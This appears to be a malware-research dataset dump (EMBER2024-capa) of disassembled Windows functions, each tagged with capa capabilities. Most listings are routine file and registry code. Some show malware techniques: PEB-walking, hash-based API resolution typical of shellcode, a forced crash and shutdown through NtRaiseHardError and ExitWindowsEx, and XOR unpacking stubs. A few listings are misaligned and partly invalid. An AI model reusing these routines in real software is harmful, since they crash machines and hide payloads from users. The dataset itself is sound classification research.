joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4099f0
Capabilities:
Get common file path

Disassembly:
cmp dword [esi], 0
push edi
jne 0x409aa3
cmp dword [esi + 4], 0xffffffff
jne 0x409aa3
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
jmp 0x409a20
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409a20
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp ax, 0x5c
je 0x409a59
cmp ax, 0x2f
je 0x409a59
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x409a46
mov eax, dword [0x41dc40]
mov dword [edi], eax
push 0x20
call fcn.0040baf9
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0x10], 0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.00408af0
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
ret 8
mov eax, 0x1000000
pop edi
ret 8

Function at 0x40a790
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
xor esi, esi
push 0x206
lea eax, [esp + 0x12]
push esi
push eax
mov word [esp + 0x18], si
call fcn.0040f550
add esp, 0xc
cmp edi, esi
je 0x40a876
mov eax, 0x41ddcc
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x40a7d3
sub eax, edx
sar eax, 1
je 0x40a7fd
push 0x41dcc4
lea ecx, [esp + 8]
push 0x41ddcc
push ecx
call fcn.0040aeee
add esp, 0xc
jmp 0x40a838
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41ff94
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0040aca1
push 0x41dcc4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040aeee
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x40a85b
push eax
push 1
push 0x200
push edi
call fcn.0040b7e3
mov eax, dword [esp + 0x14]
push eax
call fcn.0040b64d
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
Function at 0x40a890
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
xor edi, edi
push 0x206
lea eax, [esp + 0x12]
push edi
push eax
mov word [esp + 0x18], di
call fcn.0040f550
add esp, 0xc
cmp esi, edi
mov dword [esp + 4], edi
je 0x40a993
mov eax, 0x41dccc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a8d3
sub eax, edx
sar eax, 1
je 0x40a993
cmp dword [0x4230b0], 3
jne 0x40a91a
push 0x104
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc40
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0040aca1
add esp, 0xc
jmp 0x40a92a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41dccc
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0040aca1
push 0x41dcbc
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0040aeee
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40a993
push eax
push 1
push 0x200
push esi
call fcn.0040b5bf
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040b64d
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret

Function at 0x40a9b0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
xor edi, edi
push 0x206
lea eax, [esp + 0x12]
push edi
push eax
mov word [esp + 0x18], di
call fcn.0040f550
add esp, 0xc
cmp esi, edi
mov dword [esp + 4], edi
je 0x40aa7d
mov eax, 0x41ff94
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a9f3
sub eax, edx
sar eax, 1
je 0x40aa7d
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41ff94
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0040aca1
push 0x41dcbc
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.0040aeee
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40aa7d
push eax
push 1
push 0x200
push esi
call fcn.0040b5bf
mov edx, dword [esp + 0x14]
push edx
call fcn.0040b64d
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ac62
add esp, 0x214
ret
Function at 0x40abf0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x40ac43
push esi
call edi
cmp eax, 0xffffffff
je 0x40ac3e
test al, 1
je 0x40ac0e
xor eax, 1
test al, 4
je 0x40ac15
xor eax, 4
test al, 2
je 0x40ac1c
xor eax, 2
test al, 0x20
je 0x40ac23
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x40ac43
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret

Function at 0x40ac62
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422044]
jne 0x40ac6c
repz ret
jmp fcn.0040cd43
Function at 0x414d19
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040d053
xor ebx, ebx
cmp dword [0x4244a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x414dee
push 0x41cb84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x414d59
xor eax, eax
jmp 0x414eb2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41cb78
push edi
call esi
cmp eax, ebx
je 0x414d52
push eax
call fcn.0040cff0
mov dword [esp], 0x41cb68
push edi
mov dword [0x4244a8], eax
call esi
push eax
call fcn.0040cff0
mov dword [esp], 0x41cb54
push edi
mov dword [0x4244ac], eax
call esi
push eax
call fcn.0040cff0
mov dword [0x4244b0], eax
lea eax, [ebp - 8]
push eax
call fcn.0040f0e1
test eax, eax
pop ecx
pop ecx
je 0x414dbc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x414dee
push 0x41cb38
push edi
call esi
push eax
call fcn.0040cff0
cmp eax, ebx
pop ecx
mov dword [0x4244b8], eax
je 0x414dee
push 0x41cb20
push edi
call esi
push eax
call fcn.0040cff0
pop ecx
mov dword [0x4244b4], eax
mov eax, dword [0x4244b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x414e67
cmp dword [0x4244b8], esi
je 0x414e67
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
je 0x414e34
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4244b8]
call fcn.0040d05c
pop ecx
call eax
test eax, eax
je 0x414e34
test byte [ebp - 0x18], 1
jne 0x414e67
lea eax, [ebp - 0xc]
push eax
call fcn.0040f118
test eax, eax
pop ecx
je 0x414e4f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x414e5e
or dword [ebp + 0x10], 0x200000
jmp 0x414e98
or dword [ebp + 0x10], 0x40000
jmp 0x414e98
mov eax, dword [0x4244ac]
cmp eax, esi
je 0x414e98
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x414e98
mov eax, dword [0x4244b0]
cmp eax, esi
je 0x414e98
push dword [ebp - 4]
push eax
call fcn.0040d05c
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4244a8]
call fcn.0040d05c
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8c2142
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x8c1ea3
sub eax, 0xa75596e7
call fcn.008c217e
mov edx, edx
sub esp, 4
mov dword [esp], edx
pop edx
xor dword [ecx], edi
push edx
mov edx, dword [esp]
add esp, 4
or edx, edx
inc eax
add ecx, 1
mov edx, eax
cmp ecx, ebx
jne fcn.008c2142
sub edx, edx
dec eax
ret
Function at 0x404a60
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
call fcn.0040496d
cld
call fcn.00404af3
pop dword [eax]
add byte [eax], al
pushal
mov ebp, esp
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
xor edi, edi
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x404a85
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x404a7c
push edx
push edi
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x404aea
add eax, edx
mov ebx, dword [eax + 0x20]
add ebx, edx
push eax
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x404ae9
xor edi, edi
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edx
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x404ab5
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x404aa9
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx, dword [edx]
jmp 0x404a73

Function at 0x40a3df
Capabilities:
Terminate process

Disassembly:
or al, 0x69
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test dword [ecx], ebx
jne 0x40a40a
push esi
mov esi, dword [0x5440c098]
mov edi, es
adc al, al
jne 0x40a3fe
pop esi
pop ebp
ret 0x9d08
call esi
add eax, 0xafc80
pop esi
pop ebp
cmp dword [eax], ecx
add byte [ebx], dh
rcr byte [ebp - 0x3e], 8
sar byte [eax + 0x4e3b], cl
pop ebp
ret 0x6708
xor eax, eax
pop ebp
ret 0xd208
Function at 0x40b080
Capabilities:
Read file on windows

Disassembly:
add byte [eax], al
add byte [ebx - 0x175e90bd], cl
or eax, 0x8bfffff3
inc ebp
or byte [eax - 0x1a74a476], bl
pop ebp
ret 0x7b0c
mov edx, dword [esi]
lea ecx, [ebp + 0xc]
push ecx
push edx
push eax
push ebx
call fcn.0040b0ab
add esp, 0x10
cmp eax, 0x1117e
mov dword [ebp + 8], eax
jne 0x40b061
nop
inc ebx
sub byte [esi], bl
add byte [eax], al
dec ecx
mov esi, 0x67ede80
mov eax, dword [ebp + 8]
pop esi
pop ebx
xchg dword [edx + 0xcc25d], esi
nop
nop
int 0xdc
nop
nop
nop
nop
nop
nop
nop
nop
cld
nop
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x5e]
push edi
push edx
jge 0x40b09b
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
or eax, ecx
mov dword [ebp + 0x10], 0x36
jne 0x40b10d
jno 0x40b027
mov dl, byte [ebx + 8]
invalid
push ebx
or bh, al
dec esi
je 0x40b10d
mov edx, dword [esi - 0x10]
xor al, 0xc5
or byte [edx + 0x45], ch
push edx
push 0
push 0x44
push 0
adc edi, edi
xchg ebx, eax
or al, 0xc0
inc eax
jg 0x40b03f
sal byte [ebp + 0x35], 0x8b
push 0x40c0cf
inc ecx
add eax, eax
jne 0x40b0d2
dec edi
daa
adc al, 0x12
pop esi
mov dword [ecx], esi
pop ebp
ret
call esi
add eax, 0xafc80
cmp eax, 0x330a8eed
jne 0x40b0e5
mov eax, 0x1c77e
mov esp, edx
adc al, 0x5f
pop esi
mov dword [ecx], 0
pop ebp
ret
pop ss
inc esi
or al, 0x85
sal byte [ebx - 0x76], 0x78
or byte [ecx + ecx*8 + 0x1e8b1c75], al
mov dword fs:[eax + 8], ecx
mov eax, dword [esi + 0x50]
inc ebp
push esi
push esp
mov ecx, 0xea
call fcn.0040b783
mov ebx, ecx
or al, 0x89
inc edx
shr dword [esi + 0x558b0c7a], cl
or al, 0x53
lea ecx, [ebp + 0x10]
push eax
adc eax, 0x6c510446
push edx
xchg ebx, eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test dword [edi - 0x3f72f88c], ebp
movsb byte es:[edi], byte [esi]
sub eax, dword [ecx]
add byte [0xc0983d8b], ch
inc eax
mov ecx, 0xc085d7ff
je 0x40b285
call edi
add eax, 0xafc80
cmp eax, 0xcc0b00d1
jne 0x415f4f
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, dword [ecx + 0x14]
mov eax, dword [esi + 0x10]
test ecx, ecx
mov bl, 0x8b
jg 0x40b192
test eax, eax
jbe 0x40b1a2
clc
lodsd eax, dword [esi]
push 0xf40003e8
push ecx
push eax
call 0xb0b590
jmp 0x40b1af
and eax, ecx
cmp eax, 0xffffffff
jne 0x40b1ad
or edx, edx
jmp 0x40b1af
push ebx
ror byte [ebx + 0x21500c4e], 0x73
push edx
mov ecx, dword [esi + 0xc]
push eax
and dword [ebx - 0xe], esi
push edx
dec esi
sal edi, cl
clc
add dword [eax - 0x80], 0x74000000
mov edi, 0x3174ff0d
mov eax, dword [0x410960]
sbb ebx, dword [esi + 0x38]
mov ebp, 0x501875c0
push str.CancelIo
push eax
and esp, dword [ecx - 9]
invalid
cwde
dec ebp
adc byte [ebp - 0x74a48a26], al
dec ebp
adc al, 0x70
aaa
adc byte [ebx + 0x5f], bl
invalid
Function at 0x4021b0
Capabilities:
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x458004]
xor eax, esp
mov dword [esp + 0x28], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [esp + 8]
push eax
push 0x20019
push 0
push str.SoftwareSQ_1
push 0x80000001
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402234
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push str.HasRun
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 0xc], 1
jne 0x402243
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [esp + 0x14]
mov ecx, esi
call fcn.004013f0
test al, al
je 0x4022a1
lea ecx, [esp + 0x14]
call fcn.004016e0
mov edx, dword [esp + 0x28]
cmp edx, 0x10
jb 0x40228d
mov ecx, dword [esp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402283
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4022a6
push edx
push ecx
call fcn.00409373
add esp, 8
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00409332
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401c70
call fcn.00411115
int3

Function at 0x4022b0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x458004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RtlAdjustPrivilege
push edi
call esi
push str.NtRaiseHardError
push edi
mov ebx, eax
call esi
mov esi, eax
test ebx, ebx
je 0x402314
test esi, esi
je 0x402314
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call ebx
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xc0000022
call esi
add esp, 0x28
lea eax, [ebp - 0x20]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x18]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x10007
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409332
mov esp, ebp
pop ebp
ret
Function at 0x41c8d0
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041c590

Function at 0x420811
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420690

Function at 0x428f7b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
jmp 0x403a1c
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405220], eax
mov dword [0x4051a8], 0x403098
mov dword [0x4051a4], 2
jmp 0x403a4c
mov dword [0x4051ac], 0
mov dword [0x4051b0], 0
mov dword [0x4051a0], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051b4], eax
mov dword [0x4051c8], 0x40426e
mov dword [0x4051c0], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051b8], eax
mov dword [0x4051cc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051bc], eax
push 0x4051a0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.justam
push 0x40426e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405218], eax
push 5
push dword [0x405218]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405218]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x403b1f
push 0
push 0
push 0
push 0x4051d0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x403b4c
push 0x4051d0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4051d0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x403b1f
mov eax, dword [0x4051d8]
jmp 0x403b59
call 0x402be1
ret
Function at 0x409ea0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422ed8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x42b520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x18]
push 0x45f398
xor ebx, ebx
push eax
xor esi, esi
mov dword [ebp - 4], ebx
call fcn.0040a340
add esp, 8
mov edi, dword [ebp - 0x18]
cmp dword [edi - 0xc], ebx
je 0x409fa6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
lea ebx, [ebp - 0x24]
mov byte [ebp - 4], 2
call fcn.0040a080
mov ebx, dword [ebp - 0x24]
test eax, eax
jne 0x409f99
test ebx, ebx
je 0x409fa4
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x427668
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00406e00
mov edi, dword [ebp - 0x14]
mov eax, edi
add esp, 8
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409f50
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 8]
push edx
push edi
push 2
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb esi, esi
lea eax, [edi - 0x10]
inc esi
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409f99
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test ebx, ebx
je 0x409fa4
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409fec
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x4d8355f1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x52872d2b
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0xae4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00ae41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xae407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xae406a
add dl, dl
jne 0xae4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xae40dc
xor eax, eax
add dl, dl
jne 0xae4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xae417d
add dl, dl
jne 0xae40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xae40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xae40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xae40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xae40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xae4075
mov eax, 1
add dl, dl
jne 0xae40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xae40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xae40e1
sub eax, ebx
mov ebx, 1
jne 0xae4128
mov ecx, 1
add dl, dl
jne 0xae410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xae4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xae4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xae4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xae413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xae414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xae4136
cmp eax, 0x7d00
jae 0xae416d
cmp eax, 0x500
jb 0xae4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xae4075
cmp eax, 0x7f
ja 0xae4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xae4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xae419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xae4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401029
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.0040e88c
xor ebp, ebp
pop ecx
test eax, eax
je 0x401076
push str.Windows_original_main_args:_n
call fcn.00401108
pop ecx
mov esi, ebp
call fcn.0040e5ef
cmp dword [eax], ebp
jle 0x401076
call fcn.0040e5f5
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00401108
add esp, 0xc
inc esi
call fcn.0040e5ef
cmp esi, dword [eax]
jl 0x401054
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00401213
call fcn.0040127b
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call fcn.0040112b
pop ecx
pop ecx
mov esi, eax
call fcn.00401281
mov edx, ebp
test ebx, ebx
jle 0x4010b4
mov edi, esi
mov ecx, dword [eax + edx*8]
inc edx
mov dword [edi], ecx
lea edi, [edi + 4]
cmp edx, ebx
jl 0x4010a7
mov edi, dword [0x433004]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010c3
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010cf
mov edx, dword [esi]
mov ecx, dword [0x433a90]
test ecx, ecx
push ebp
push ebp
push 1
setne al
movzx eax, al
push eax
push edi
push edx
push 0x42627c
push 0x426280
push dword [0x433a94]
push 1
push ecx
push 1
push esi
push ebx
call fcn.00401d61
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret